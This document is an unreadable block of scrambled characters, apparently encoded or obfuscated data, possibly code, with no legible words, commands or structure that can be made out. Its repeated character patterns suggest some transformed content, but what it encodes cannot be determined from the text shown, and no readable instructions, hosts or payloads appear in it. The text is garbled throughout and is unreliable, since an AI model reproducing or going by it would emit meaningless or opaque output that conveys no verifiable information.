WKYJ"[P[JJN  $_$'O9:'W7A'7##4[P[KJ028'[P["0B/4E"7 A78' 7EB0B/4[P[&3Y4[P[&BY4#[P[&AA7734[P[ BA#7 Y4 [#&A&[P[/7-4Y[P[0&4Y[P[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[#&Y&A# 2[P[  8L>(  [P[4#[P[&BY&4-0 A#BY7=4[P["7 A4 AEJ48'A4 [A  0# [P["0B/4E"7 A78' 7E&A74[P["YK8[P["YKY	+[P[4#Y4[P[4#Y4[P[7B4AYB40 Y7-0# [P[ BA#7 Y4 [#&A&[P[3OABY&/Y0[P[ BA#7 Y4 [#&A&[P[&2YB0B/44&&Y24YB0B/4[P[#A4&44Y24Y0[P[+#A444Y"0B/4YN[P[24Y0[P[M44Q4YN24"0B/4[P[-4A/7Y4 [#&A&[P[=44Q4YB0B/4Y&/[P["0B/4YK 0=4[P[B40YA7A0YB0B/4[P[3BYB40Y0YB0B/4[P[3Y0&A4&AYB0B/4[P[#&Y7=4BA[P[3Y0&A4&AYB0B/4[P[-4A/7Y4 [#&A&[P[3Y0&A4&AYB0B/4[P[44A4"0B/4[P[3YB0B/4YB40YB0B/4[P[0A7A#-#Q4"0B/4[P[B400[P[24Y7 Y&YB/0 24[P[ BA#7 Y4 [#&A&[UPT[#&Y0-# [P[3Y7# 2Y00 [[P[]KJY]K*KJ[P[+]N"Y]K*KJ[P[ BA#7 Y4 [#&A&[P[#&Y44[P[#&Y7=7A&[P[#&Y&#A4-0&[P[ BA#7 Y4 [#&A&[P[#&YB&A7-#Q4Y4#43[P[44-4 A7E4#43[P[B&A7-#Q4YB/0 24&4AY#[P[Y=#4[P[#&Y&A# 2[P[G  &B#A[P[GL  &B#A[P[&AA7734[P[&=&A[P[ BA#7 Y4 [#&A&[P[&BY&Y# AY 7A4[P[&BY&Y# A4YA&[P[A#-4[P[#&Y&A# 2[P[&BY&Y# A4[P[G  =7<[P[G/A-[P[&BY&Y# A4[P[G  =7<[P[&=&A[P[&BY&Y7=[P[&BY&Y7=[P[7=Y&A0A[P[-7,B,/OQQ$9S[P[&Y7=[P[024 73[P[024 73[P[&[P[&BY&3Y/0[P[&BY&3Y0&AY[P[G&B#A'0A0E&BE[P[0' BA#7 /^X0'@@6#C7#9C#G/_4 2A/C#>S^>A# 2_7-"/0"740&4 A/_&=&A#6S^6$^^C4A ';6[P[&3 0#20A7Z@[P[&4#B4F74[P[@^U6[P[[P[#&3^&3Z@[P[24A]42#&A0A#7 &[P[@^U^_A/4  BA#7 &^X&_7K0B/ BA#7 ^X0'-.C[P[#.-^Z@[P[0BA#4[UPT[@^6@[P[30#A# 2[P[@^6@[P[# &A0# 2[P[@^U_7K0B/ BA#7 ^X#ZU!!ZUZ@[P[&B#A]+[P[@^U^-$;^C[P[#-^Z@[P[ 42#&A4[P[@^U^;^;^Z@[P[B0AB/[P[@^U BA#7 ^X;^[P[G  &B#A<[P[/AA&8    [P[/AA&8    [P[ 7[P[G&B#A'0A0E&BE[P[0' BA#7 /^X0'@@6#C7#9C#G/_4 2A/C#>S^>A# 2_7-"/0"740&4 A/_&=&A#6S^6$^^C4A ';6[P[&4#B4F74[P[@^UC[P[#&3^X[P[&3Z@[P[24A]42#&A0A#7 [P[@^U[P[_A/4  BA#7 ^X#.^&3Z@[P[42#&A4[P[@^U[P[6X&B748[P[;^Z@[P[@^U BA#7 ^X;^;^[P[Z@[P[B0AB/[P[@^U BA#7 ^X;^C[P[&3Z@[P[0K4 A+#&A4 4[P[@^U@[P[@^6 BA#7 4^X[P[0'4Z@[P[0A0[P[#!!_B^XAX 43'	 BA#7 0A7=_B^^^;B0AB/ [^X;;;^C[P[&3Z@[P[40[P[@^U_A/4  BA#7 ^X[P[Z@[P[@^UZ@[P[7&A4&&024[P[@^UXA8@@;^;^;[P[&3Y42[P[42Y-0AB/[P[  L  LP'"8L>L_L>L_L>^'LPL    [UPT[#&Y00[P[_/[P[_/[P[_/[P[#4Y24AYB7 A4 A&[P[&A7&[P[  L  LP'"8L>L_L>L_L>^'LPL    [P[=0&4 0-4[P[7B0B/4Y# 0#0A4[P[74#2 Y&#'[P[=0&4 0-4[P[  _&Y[P[=0&4 0-4[P[ # [P[# 0-4[P[_/[P[ BA#7 Y4 [#&A&[P[-E2# &[P[ BA#7 Y4 [#&A&[P[=0&4 0-4[P[24AY&#A4Y7A#7 [P[# 0-4[P[  _=0Y[P[4 [74[P[ # [P[#4&#Q4[P[0A/[P[400A/[P[0A/[P[400A/[P[ BA#7 Y4 [#&A&[P[&=&A[P[_/[P[-R[P["Y"
]KYM

JJ]NNK\[P[  1L>L_L>L_L>(  [P[<[P[&BY=77AY4[P[ BA#7 Y4 [#&A&[P[B40&A0AB0B/4[P[#4-A#-4[P["Y"
]KYM

JJ]NNK\[P["Y"
]KYM

JYK][P[ BA#7 Y4 [#&A&[P[4QY/=&I#B:S2I&[P[&/-,AA$=[P[&AA7734[P[0A/# 7[P[#4&#Q4[P[&/A73 [UPT[Q [R,O:RI0[P[&BY# 4BAY4&[P[Q92 740I0B#QA[P[==Y9-I [A:B [&&[P[_/[P[A#-[P[A7B/[P[  _=AY[P[=0&4 0-4[P[_7BY[P[ $=BAO/Y4:YY[P[ =2I2 SI2[P[70E2# &_/[P[0-# Y# #A[P[ $=BAO/Y4:YY[P[0727/-0RSQ=BB[P[0-# Y# #A[P[20,&37YO[P[0-# Y# #A[P[Y,,AQ20QY# #[P[73/,S&[P[3-Y4# 4YB7  4BA7Y7A&[P[A,:: [ A,O[P[3Y#4Y-0 024YB7  4BA7Y7A&[P[A,:: [ A,O[P[4# 4YB7  4BA7Y7A&[P[#4Y-0 024YB7  4BA7Y7A&[P[0A/4 A#B0A4[P[://-$7-Q#[P[3Y72# [P[ QY337/:[P[4Y&4Y4[P[&B/04A9B-7=Y-S0O[P[4&AY&4Y4[P[/ 0BB&&B32749[P[#43&Y&4&[P[ [ [#$99OR20027:,Q[P[4=2Y# 7-0A#7 [P[ [/=:,#02$342/7Y$ [[P[&/73Y00 B4Y2# &[P[4IS0 &Q[P[0-# Y/40E2# &_/[P[&#A4YA0 &#4 AY0A4Y2# &[P[-Q4-2QYY0[P[0Y2# &[P[3Y00 [Y-Y#4Y74Y-0 024[P[=$R2$:OAQ7Q24[P[3Y00 [YB7  4BA7[P[3Y00 [Y&YB7  4BA7[P[=$R2$:OAQ7Q24[UPT[3Y77A4[P[7/I&-0-9,-BO-3/&[P[A4-0A4Y4#4BA[P[II4&4$7A2SBR[P[0-# Y77A4[P[A2:/9$#:QY=0=4&4Q [P[72# Y77A4[P[A2:/9$#:QY=0=4&4Q [P[2# &Y704[P[3B/A [=9=A [2O /A[P[2# &Y704[P[07 & /33Q/2Q[P[2# &Y704[P[S&0S79$Y$4[P[7=-3-A=&BS,2[P[& [-&=&23 47$7[P[2# &Y704[P[7I/ S:9 [Y[P[B [33S02B,42[P[#9- I#/37B #Y[P[- [YQ&9Y72[P[Q0S 4QA [-[P[=-2R9YQO:Y:BO[P[42#&A4Y&/A73 Y BA#7 [P[ BA#7 Y4 [#&A&[P[24AY7A#7 [P[=-2R9YQO:Y:BO[P[2# &Y704[P[ [7RY034O[P[B=B99#I [:2-/[P[99/9& -,0I[P[ BA#7 Y4 [#&A&[P[&BY0&AY4B74YB/4B[P[&BY0&AY4B74YB/4B[P[&BYB7 Y4AB/[P[#0O:-3&[P[B7 Y&B/44&[P[ [ [7=$$07[P[ BA#7 Y4 [#&A&[UUG	\X'X!G	\#JO
TXUXALM
NTXUGXA[=>/,[R[(4[R[#
[R[H[R[RO[R[N[R[	[R[[R[[R[+0[R[);52[R[8.1S[R[Q[R[?3[R[9  A[R[V\[R[*FT[R[WU:[R[-7 [P[R[L[R[@C[R[B[R[EK[R[IMD[R[J$%[R[&G[R[^'[R[!Z][R[ "[R[X_6Y[R[<[GXA[M[R[NJ[R[&BY[R[4[R[7:[R[_OS[R[2[R[# =[R[0-F[R[+[R[W\[R[]  E[R[/[R[A"
[R[K3L[R[ [[R[P'[R[8>^[R[	*[R[H6[R[9G[R[?Q<I[R[R[R[$,[R[T[R[C[R[X@Z[R[;U[R[!.[R[1[R[()[R[V5[R[D%[GXA^^GTXALGX@TXUGXWWUXATXPX'X!UGXRATXAAAUCX'X!FX'X!G	\XG	\
JNTXUXAXWLG	\#JO
TXUG	\LLIN	TXUXAXWLG	\#JO
TXUG	\E#
NMNMTXUXAXG	\#JO
TXUGvv	\	OJKL#JTXUXNMLATXVJUWHOG	\XNMLYJGvvvv\\\v\T#JO
TLUU\\\\\Gv\\\\v\\\	\E#NDNTUv\\\\v\\\	\\\\TX;03>=0/'LLIN	TMU!U\\C\X;03>=0/'LLIN	TMU!\\F\\\E#
NMNMTNUGv\\\v\\\\	\\EIITUvv\	\##:509##Gv\\v\\\	\\\\\
DJMTUvvvv\\\	\\E#
NMNMTOUTEIITUUGvv\\\\\	\\M	#JND#TUv\\\\\\v\\\\\\T
JNTHUTLLIN	TIUUU\\\	\\\\	#TEIITUUGvX	
HEIL\\\\A\\EIITUGv\XE#K
	JO\\\\\A\\TLLIN	TJUU\\\\\\C\\\+,#,0);52#85.\F\^^Gv\\\\\\TXE#K
	JO\]AA\\\^^\\ZZ\\\\\\
JNTKUTX	
HEILP\\\XE#K
	JOU\\\\AAA\\\LU\\\\	\\E#
NMNMTDUTLLIN	TEUTX	
HEILP\#JO
TMLUTXE#K
	JOUUP\\[S[UGv\\\	\LLIN	TOUTE#
NMNMTMMUTX	
HEILUU\\\R\[S[\\\\R\\\
JNTMNUTX	
HEILUGvv\\\	\\#E
HNETUvvvv\\	\\\E#
NMNMTMOUTT#JO
TMHUU\\C\\+,1)#,0);52#85.\\F\T+,#?32(92(#85.\\R\\\
JNTMIUUP\[S[UGv\v	\INMTUv\\\\v\	\\\
JNTMMUTEIITUUGv\\\\\\\\v	\\\\\	KOM#TXHELI
P\\\XNNOMM\\\\A\\\THEMWNUP\XLOMOE\\\A\\Uv\\v\\\\	\\LLIN	THUT#JO
TMJUU\\C\\\\<
JNTMJUTXHELI
P\XNNOMMP\\\\\XLOMOEU\\\F\\GXJNNA,4,#1=63.#*9./532GXJH#IAXJNNVJGv\vvv\	\\\\\ODLTX#HKDP\\\XNNOMMUvvvvv\	\\LLIN	THUT#JO
TMKUU\\\\C\\\<E#
NMNMTMKUTX#HKDP\\\XNNOMMU\\\F\\Gv\v\	\\\NN#		TX#HKDUv\\vvv\\\	\LLIN	THUT
JNTMDUU\\C\\<#JO
TMDUTX#HKDU\\F\GXOJEEADEEGXE#LEEATXOJEEBLUCXOJEEFQXOJEEGvvvv	\	J	LOO
NTX#HKDP\\\\X	OKHKJUv\\\\\vvv\\\\\\	\\LLIN	THUTE#
NMNMTMEUU\C\\\\\\<LLIN	TMEUTX#HKDP\\X	OKHKJU\\\\F\\\Gvvv\\vvv\	\\\\\\


	MMNTX#HKDUvv\\v\XLJ	\\\A\\\
O

TUGv\\\\\	\\	J	LOO
NTX#HKDP\\TXLJ	\\Q\\\\\TXLJ	\\\\Y\TEEEDEWMMUUU\\\W\\MHEHTUUGvvvv\\\vv\\\	\\\IHMOTX#D	EJP\XEDNLUv\vSS\<
\Qvv	\\\\\E#
NMNMTHUT#JO
TNLUU\C\<
JNTNLUTX#D	EJP\\XEDNLU\\F\Gvv\\\\\\	\\\LMIKETX#D	EJP\\\\\XEDNLUv\\\\\\vvvv\	\\E#
NMNMTNMUTE#
NMNMTNNUU\\\\\\C\\\\\<
JNTNNUTX#D	EJP\\\\XEDNLU\\F\Gv\v	\\
MO	L	IMITXHELI
P\\\X#HKDUv\\\\\\\\vvv\\	\\E#
NMNMTNMUTLLIN	TNOUU\\\C\<E#
NMNMTNHUTXHELI
P\\X#HKDU\F\\\\\Gv\\\\v\\\	\	M
NNTUv\\vSS\	\\QQvvv\\\\XL
\A\\\\	Gvv\\TXL
\\\\]AA\\\\\	U\\\\\	\XL
Gv\\\XL
\\A\\\\\E#
NMNMTNMUTLLIN	TNIUU\\C\\\\\#JO
TNIUTU\\F\\\\\\E#
NMNMTNJUGvvv\\\T<E#
NMNMTNKUTXL
U\\ZZ\<#JO
TNDUTXL
UU\\	\XL
Gv\X	LNJ\\\\\A\\\\\TE#
NMNMTNEUU\\\\C\\\\\+,#?32(92(#85.\\\F\\\\\TT
JNTLUU\\\\C\=>/,=(4\\\R\
JNTOLU\\\\\F\\\\^^UGv\\\\\\\\\\TX	LNJ\\]AA\\^^U\\\v\\\\X	
HEIL\\\\\\A\\E#
NMNMTMOUTX	LNJP\E#
NMNMTOMUU\R\\LLIN	TONUGv\\T]<E#
NMNMTOOUTX	
HEILUU\<#JO
TOHUTX	
HEILP\TLMNWLMUP\	UGvvv\\T<E#
NMNMTOOUTX	
HEILU\\\ZZ\\<
JNTOIUTX	
HEILUU\\\\vSS\\\	vv\\\\\\\TE#
NMNMTOJUTLLIN	TOKUUU\<	
T#JO
TODU\\\\R\X	
HEILUGvX;03>=0/'LLIN	TOEU!\\A\\\\MGvXL
\\A\\\\X	
HEILGv\\\\v\v	\\\\XL
Gvv	\\HHD##MJTUv\v\\\XHELI
\\A\INMTUGvvv\\\\\XNNOMM\A\\\\\#E
HNETUGvSS\\\vv\\TXHELI
\AAA\\XNNOMMU\	\	Gvvvv\\\\\T
JNTHLUTE#
NMNMTHMUUU\\v\\\\\X	ID\\A\<E#
NMNMTHMUTXHELI
UGv\\\\X	DEK\A\\\<LLIN	THMUTXNNOMMUGv\	\\\\\TX	ID\]AA\\\\\ZZ\\X	DEK\]AA\\\\ZZ\X	ID\\\\AAA\X	DEKUGvvvv\	\Gv\\\\\\v	\\\MHEHTUv\\\vv\\\	\\TEOKKLWHEUGX#DDAELWMOGXLAX#DDQOGv\\v\\\	\\\\\
EJ	NIOTUv\\\\v\\\T]T
JNTHNUUU\\\	\\\\^^Gv\\\\\\X	LNJ\A\\\TLLIN	TNEUU\\\\\C\\+,#?32(92(#85.\\F\\\=>/,=(4\R\\\\
JNTOLUGv\\\\\\	\\#JO
THOUTX	LNJP\\\#JO
THHUU\\R\\
JNTHIU\R\LLIN	TEUTE#
NMNMTHJUT=>/,=(4\\\\\\R\LLIN	THKUUP\\\\\\LP\\TJWNUU\R\\\
JNTHDU\\R\LLIN	THEUT
JNTILUT=>/,=(4\\\\\\R\\\\#JO
TIMUUP\LP\\TMLL"MLDUU\\R\\\E#
NMNMTINUGvv	\\\	LOIIDJHTXKI\\\A\	Uvv\\\X#HKD\\\A\\\\
EJ	NIOTUGv\\\\TX#HKD\\AAA\\\^^U\\\\\\	\\\\Gv\\\\\\T]
JNTIOUTXKIU\  \\E#
NMNMTIHUTXKIU\\@\TLEWLMNUU\\\\XKI\A\\L	DINOOTUGv\\\\\\\T]XKI\\\\\  \\]LEIOTXKIUU\\	\\Gv\\\\\XHELI
\\\\A\LLIN	TMMUTX#HKDUGX
M#KMA,4,#1=63.#*9./532GXMO#AX
M#KMVKGv\\\\\\T]<#JO
TIIUTXHELI
UU\\\	KOM#TXHELI
P\\TJIKQMJHUP\\	UGv\\T]<#JO
TIIUTXHELI
U\  \]<E#
NMNMTOIUTXHELI
UU\\	\\\Gv\\vv\\T<E#
NMNMTIJUTX#HKDUU\\\\\v\\\\\T#JO
TILUT#
	TTU\\<#JO
TIKUTX#HKDUUU\\\AAA\\
JNTILUTXKIUU\\	\\	Gvv\\\\\X
M	ML\A\\	N#D
#
OETX#HKDUGvvv\\\TX
M	ML\\]AA\	\\\\ZZ\
#TX
M	MLP\\\\E#NDNTUP\[B[UU\\\\\	\\\Gv\	TX
M	MLUGv\v\\\\\\\\\\\\T]HH#EOMTX#HKDP\\XKIUU\	\\\\Gv\ODLTX#HKDP\\\TONOWEKUUGv\\\\HDIEL#	TX#HKDUGv	\\\\	Gv\\\\\v\	\#HJODLE		ITUv\\\\\\XHOE
IAKLHJGX
NAXHOE
IYDGv\\\XKI\A\\\\L	DINOOTUGv\T]XKI\  \]LEIOTXKIUU\\	\\Gv\\XLN
L\A\
JNTMNUTEIITUP\E#
NMNMTINUUGv\\\X
JIM\\A\\LLIN	TIDUT#JO
TIEUU\\\C\\\\NOLJJTU\\F\\\\TT
JNTJLUU\C\\+,#?32(92(#85.\\\\F\\\\^^UGv\\\\\\TX
JIM\\\AAA\\\\\^^U\	\\\\GvvvXE#K
	JO\\\\A\X
JIM\\\R\\#JO
TJMU\R\\\\XLN
LGv\\X#DHO\\\A\XE#K
	JO\\\\\R\\\[S[\R\\XLN
L\\\\R\#JO
TINUGv\\XIE\\\\\A\\\Gv\\vv\\T#JO
TJNUTE#
NMNMTHMUUU\v\\\XDMILOIE\\A\\<E#
NMNMTJOUTX#DHOUGv\\\X
	DIHD#\A\\\\<#JO
TJHUTEIITUUGv\\XIE\\A\\T
JNTIOUTXDMILOIEU\ZZ\\LLIN	TJIUTX
	DIHD#U\ZZ\XDMILOIE\\\AAA\X
	DIHD#UGv\\v\\\\\T]XIEU\\\\vvv\T]<#JO
TIIUTXE#K
	JOUU\	KOM#TXE#K
	JOP\\TDNMQONDUP\\\	UGvv\\\\\T]<LLIN	TIIUTXE#K
	JOU\\  \]<LLIN	TOIUTXE#K
	JOUU\\	\\\\Gv\\T]<
JNTIJUTX#DHOU\  \#JO
TILUT#
	TTU\<
JNTIKUTX#DHOUUU\\]AA\\
JNTILUTXKIUU\\\v\\\T<E#
NMNMTJJUTX#DHOUU\XDMATLNKWLHUGX
L
#OAXDMYKGv\\\X
M	ML\\A\	N#D
#
OETX#DHOUGvv\\\\\\\\\TX
M	ML\\\]AA\\	\ZZ\\\\
#TX
M	MLP\\\E#NDNTUP\\\[B[UU\	\\\\Gv\\\\\\\	TX
M	MLUGv\\vSS\+,\.(\=,5\\vv\\\\\\T]HH#EOMTX#DHOP\\\\DENJNHTXKIUUU\\\\\	\\\\\GX
KDDII
A,4,#52(#1=$S,4,#52(#1=$GXDJKMENAX
KDDII
WNKGv\ODLTX#DHOP\TOKEWHMUUGv\\\


	MMNTX#DHOUGvvv\HDIEL#	TX#DHOUGv\\\\\\vv\\\\v\\vSS\\
\\+,\,\=	vvv\\\\TLLIN	TJNUTLLIN	TJKUU\\\\ZZ\\\LLIN	TJDUTLLIN	TJEUUU\\vX#IIJJEK\\\\A\XLN
L\\\\\\R\\\\\[S[\\R\XLN
L\R\\\\\E#
NMNMTKLUGvv\X	OKM\A\\\#T#JO
TKMUP\TUUGvv\\\\\\\\\T]E#
NMNMTKNUTX	OKMUU\\\X	OKM\\A\TUGX
	LMOADJWHKGXKAX
	LMOQHLGv\\\\\\\T]#JO
TKOUTX#IIJJEKP\\X	OKMP\	UU\\v\\\\X	OKM'!\A\\\\X#IIJJEKGv\\\\	#T#JO
TKHUP\LLIN	TKIUTX	OKMUUGv\\\v\v\\\\	\\\\\	GXIHAJLIEGX	NAXIHYIGv\v\\	\	N#D
#
OETX#HKDUvv\XME\\A\\\\\<E#
NMNMTIKUTX#HKDP\P\\\	P\LP\\\\\TKDNMQOKNIUUGv\\\\\\T]E#
NMNMTKJUTXMEUU\	\	Gvv\\\T#JO
TKKUT
JNTKDUP\\\XMEP\\XNNOMMUU\\	\\\\XNNOMM'M!Gv\\	\\	Gv\v\v\\\	\\\\IND#TXLHHP\XMOHUv\\\\\\\vv<T	P\XLHHUGvvXOK#IE#\A\\\<
JNTKEUTXLHHUGvv\\\\\\T]XOK#IE#\\\  \TXOK#IE#\\\\Y\\TEEEJLWHLUU\]AA\MHEHTUU\\v	\\\Gv\\\\\\\vvv\\v\X
E	IDK\\\A\\<E#
NMNMTDLUTXLHHUGv\	\\X
E	IDK\\\ZZ\\X
E	IDK\\BA\XMOHGv\\vvv\v\	\\##M	#MMTUv\\\\vv\	\\\TLIILWLOKEIUGv\\\v\\\\\	\\
JKITUvvv\\vv	\#JO
TDMUGvvv\\\\vvvv\\\\\\\	\KHDNHEDTUv\v\	\\\#JO
TDNUGv\vv	\\\IJI#L	KOJHTUv\\\\\\vSS\<\vvvvv\\\\\\\\T#JO
TJDUT#JO
TDOUUU\\\	\\\	Gv\\\\TH
KKTUU\\	\\\	GvvvXLOJI\A\TX#/9.*9.'#JO
TDHU!U\C\#JO
TDIUTTU\\\\X#/9.*9.'#JO
TDJU!U\\\F\\\^^Gvvv\\\\\\TXLOJI\\]AA\^^\\\ZZ\TLLIN	TDKUTXLOJIP\E#
NMNMTDDUU\\]AA\\\\  \\\#JO
TDKUTXLOJIP\\\\
JNTDEUU\\\\\]AA\\\  \E#
NMNMTELUTXLOJIP\\\\\
JNTEMUU\\\]AA\\UU\\	\\\\	Gv\\\\TXLOJI\\\AAA\\^^\\ZZ\\E#
NMNMTENUTU\\]AA\
JNTEOU\\\\ZZ\\\TX#/9.*9.'#JO
TEHU!UU\	\\\\\	Gv\\\	\\Gvv\	\H
KKTUvvv\v\XLOJI\\A\\TX#/9.*9.'E#
NMNMTEIU!U\\\\C\\X#/9.*9.'#JO
TEIU!\\F\\^^Gv\\\\\	\\\LLIN	TKJUTXLOJIU\ZZ\TXLOJIP\\#JO
TDEUU\]AA\\\Gv\\\v\\\\\\\	\\\LJI#TXMIUv\v\\\\\\\X	K#I\\A\E#
NMNMTJDUT#JO
TEJUU\\C\\<#JO
TEJUTLLIN	TEKUU\\F\Gv\\\\T]X	K#I\  \\X	K#I\\\\AAA\\\^^U\	\\\\	Gv\\X#HNHHEH\\\A\<
JNTEDUTXMIUGv\\T]X#HNHHEHU\X#HNHHEH\\\A\\XMIGv\\\\T#JO
TEEUT,=(4#/9,=.=(3.P\\\\X	K#IU\\\\\XJEI#HU\\\vSS\\\\+,\9\,
vv\\XJEI#H\A\\\LLIN	THOUTXJEI#HP\\\\\E#
NMNMTHHUUGv\\\\TXJEI#H\\ZZ\\TX#HNHHEH\\AAA\\\XJEI#H\  \\LLIN	TMLLUTX#HNHHEHP\XJEI#H\R\\\\\\85.9?(3.%#/9,=.=(3.U\\\\\AAA\\\\\LUU\	\\\\\\	Gvvvv\\\\v	\\Gvv\\\	\HDK	ETXHLN#HUv\\vSS\\\vv\\\XN
\A\\\\\XHLN#H\R\\\[ [\\\R\\TT
JNTMLMUU\\C\\\8>#2=19\\\\\F\\^^U\R\\\[ [\R\\\\\TT
JNTMLNUU\C\=>/,=(4\\F\\\^^UGv	\\E#
NMNMTILUTXN
UGvv	\
EKMLTXHLN#HUv\\\v\\\\\XGvv\\\\\\T]TX;03>=0/'LLIN	TMLOU!U\\\  \]
JNTKNUTX;03>=0/'E#
NMNMTMLHU!UU\X;03>=0/'E#
NMNMTMLHU!\\\A\\\TUGvvv\\\T]TX;03>=0/'#JO
TMLIU!'XHLN#H!UU\vSS\\\\
vv\\\\\\\\X;03>=0/'#JO
TMLIU!'XHLN#H!WWGvv\\\	\\\\\	Gv\\\\\v\\\T
JNTMLJUTXU\ZZ\LLIN	TMLKUTXP\\\\\\
JNTMLDUUU\\\\\v\\XLOMOE\A\\\\\<XQB#
T
JNTMLEU\\\R\\HDK	ETXHLN#HU\R\E#
NMNMTMMLUUGv\TXLOMOE\\AAA\\\\\[M[U\v\\X;03>=0/'#JO
TMMMU!'XHLN#H!\A\\MGv	\\\\\	Gv\\\\\v\\\\\TXLOMOE\AAA\\\[L[U\\	\\Gv\\\\\\vv\\\\\\\\T
JNTJDUT
JNTMMNUU\\\ZZ\\#JO
TJDUT
JNTMMOUUU\vXEE	ON\\\A\\TUGv\\\\\\\\\T
JNTJDUTE#
NMNMTMMHUUU\\XEE	ON'!\A\\\
JNTMMHUTUGv\\\\\TT#JO
TJLUUU\\\XEE	ON'!\A\\\\\+,#?32(92(#85.Gvv\\\TT#JO
TMLNUUU\\\XEE	ON'!\A\#JO
TMMIUT=>/,=(4P\\#JO
THHUUGXMKOAKE MHOGX#
L#AXMKO"MEJGv\\\\\\\TXEE	ON\\\\XHELI
U\vSS\<	\vvv\\\\\TXHELI
\\\AAA\\\\\^^\  \]<#JO
TIIUTXHELI
U\  \]<LLIN	TOIUTXHELI
UU\\	Gv\\X	K	E\\A\\\<
JNTMMOUTXHELI
\\\R\\\LLIN	TMMJU\R\\\HDK	ETXHLN#HU\\\\\R\\\\
JNTMMKUP\\\\[[UGv\\\\TX	K	E\\]AA\\\\U\\v\\\\\T]<TX	K	EP\\\\\03?7#9$\\ \\03?7#2>UU\\\\\vSS\+,\:	\/\9F\\Qvvvvv\\<TX	K	EUGv\	\Gvvvv\\\\T]TX;03>=0/'LLIN	TMMDU!U\\\  \\\]LLIN	TKNUTX;03>=0/'
JNTMMDU!UU\\\\\\X;03>=0/'#JO
TMMDU!\\\\A\\\\\TUGv\X;03>=0/'LLIN	TMMEU!'XHLN#H!\A\\\\\X	K	EGvvv\\\\\\X;03>=0/'LLIN	TMMMU!'XHLN#H!\\A\\\MGv\\\\\	\	Gvvvv\vv\v\\v\	\Gv\\\v\\\	\\\\\\ODOM	ETXHLN#HUvv\\\\\\\\XGv\\\\\\\\TTX;03>=0/'
JNTMMMU!'XHLN#H!UU\\\	Gv\\X;03>=0/'LLIN	TMMMU!'XHLN#H!QQGvv\\\\\TX;03>=0/'#JO
TMMMU!'XHLN#H!\\B\LU\\\	Gv	TX;03>=0/'
JNTMMMU!'XHLN#H!UGv\\\\TTX;03>=0/'LLIN	TMMEU!'XHLN#H!UU\v\\<TX;03>=0/'LLIN	TMMEU!'XHLN#H!P\03?7#)2UGv\\<TX;03>=0/'E#
NMNMTMNLU!'XHLN#H!UGv\\	TX;03>=0/'#JO
TMNLU!'XHLN#H!UGv\vvv\\\\\\\T#JO
TMLJUTXU\\ZZ\\LLIN	TMLKUTXP\#JO
TMNMUUU\\\v<XQB	T
JNTMNNU\\\R\\HDK	ETXHLN#HU\R\E#
NMNMTMNOUUGv\vv\v	\ILONTUv\\v\\\TT
JNTMNHUU\\\\ZZ\85/=003+#:509#138/U\	\Gvvv\\\\\\	\\\	Gv\v\\\	\LHMMJKTX
		ENP\XKUv\\v\\\\\\\v\\\\\T#TE#
NMNMTMNIUU\\\ZZ\\XK\\\(U\\v\\X

DMKKEKJ\A\\\LLIN	THEUTX
		EN\R\\#JO
TMNJU\R\XKQB1TUP\\LP\TNHMWMIUUGv\\\\\\TXK\\\\\\\9U\v\\\\X

DMKKEKJ\\\\\A\E#
NMNMTMNKUTX
		EN\R\\\
JNTMNDU\\\R\\\\\XKQB1TUP\\\LP\\TMKMWDIUUGv\\\\\\\\\\TE#
NMNMTKJUTXKU\\ZZ\LLIN	TIHUTXKU\\\\B\\\LU\\\v\\X

DMKKEKJ\\A\LLIN	TMNKUTX
		EN\R\#JO
TMNDU\R\\\XKP\LP\\\\TLIWLUUGv\\\\\\\\vSS\+,\4\3\?\\vvvv\\\	Gvv\\\v\\\\T]TX;03>=0/'#JO
TMNEU!UU\\X;03>=0/'LLIN	TMNEU!\\\\A\\TUGv\\\\\\T]E#
NMNMTKOUTX

DMKKEKJP\\\\\X;03>=0/'LLIN	TMNEU!P\\	UU\\vX;03>=0/'LLIN	TMNEU!'!\\\\\\A\\\\\X

DMKKEKJGv\\\\\v\\\\\\\TE#
NMNMTMOLUTX;03>=0/'#JO
TMNEU!U\\B\TNI@@MUU\\\\\vv\X;03>=0/'E#
NMNMTMOMU!\\A\\#JO
TMONUTX;03>=0/'
JNTMOMU!P\\\\\QTHWHJUUGv\vvv\\\\\\\T(\X
DIU\\\\\\vv\\\\\\\T9\\\\X
DIU\\\v\\\\\v\\\v\\	\\
DTXMEP\XJ#IJLOP\X#HKD\\\A\\\\TNIL"NHLUP\\\\\\X
\\A\\MUv\\\\\\\v\\\T]
JNTJDUTLLIN	TMOOUUU\\	\\\\Gv\\\\\TLLIN	TMOHUTXJ#IJLOUU\vvv\\	\\#TXMEP\\	\\TRRRX
I
O
	U\\\\	\TXJ#IJLOU\\\\v\\\\T#JO
TJDUTXJ#IJLOUU\\\	\\\\\\XJ#IJLOTRRRX
I
O
	UGv\\\	\\	GvP\X#HKDP\\\\X
UGv\vvv\\\\\	\#TXMEP\\\XJ#IJLOP\\\X#HKDP\\\X
UGv\v\\	\
KOHJJOTXMEP\\\XJ#IJLOP\\\\X#HKD\\A\\\\\TMNQNUP\\X
\\\A\\\MUv\\\\v\\\\\T]
JNTJDUT#JO
TMOIUUU\	\GX
#LAQKMKGXENATX
#LBLUCX
#LFQX
#LGv\\\\\\\\TLLIN	TMOJUTXJ#IJLOUU\vv	\#TXMEP\\\\\	\TRRRX
I
O
	U\\\\	\\TXJ#IJLOU\\\v\\\\\\TE#
NMNMTMOKUTXJ#IJLOUU\\	\XJ#IJLOTRRRX
I
O
	UGv\	\\\TX
I
O
	'L!U\\\C\\\\X
I
O
	'L!\\\\F\\\\	GvP\\X#HKDP\X
UGvv\\\\\\	\\\\#TXMEP\XJ#IJLOP\\\\X#HKDP\\\X
UGv\\v\\	\INELTUvvvvv\\\XJEI#H\A\T#JO
TJLUU\\\C\\\+,#?32(92(#85.\\R\\
JNTHIU\\R\ENMIT=>/,=(4\R\#JO
TMODUP\TLJWLNUU\\\\F\\\
JNTMMUTEIITUU\\R\\E#
NMNMTMOEUGv\\\\\\\\T]<
JNTIIUTXJEI#HU\\\ZZ\LJI#TXJEI#HUU\\v	KOM#TXJEI#HP\\\THONWJMUP\\\	UGvvvv\\\T<LLIN	TIIUTXJEI#HUU\\v\\\\\\\\	OOEHTXJEI#H\\\R\\#JO
TMHLUP\^@C\SS\/\\R ^P\\
JNTMODUUGvv\\vvvv\\\\\\\\\\T<#JO
TIIUTXJEI#HU\ZZ\<LLIN	TMHMUTXJEI#HUU\\vvvv\\\	\XJEI#HGv\\\v\\\\XD
NN\A\\\\\LLIN	TMMUTEIITUU\\R\\\
JNTMHNUGv\\\\\T]<LLIN	TMHOUTXD
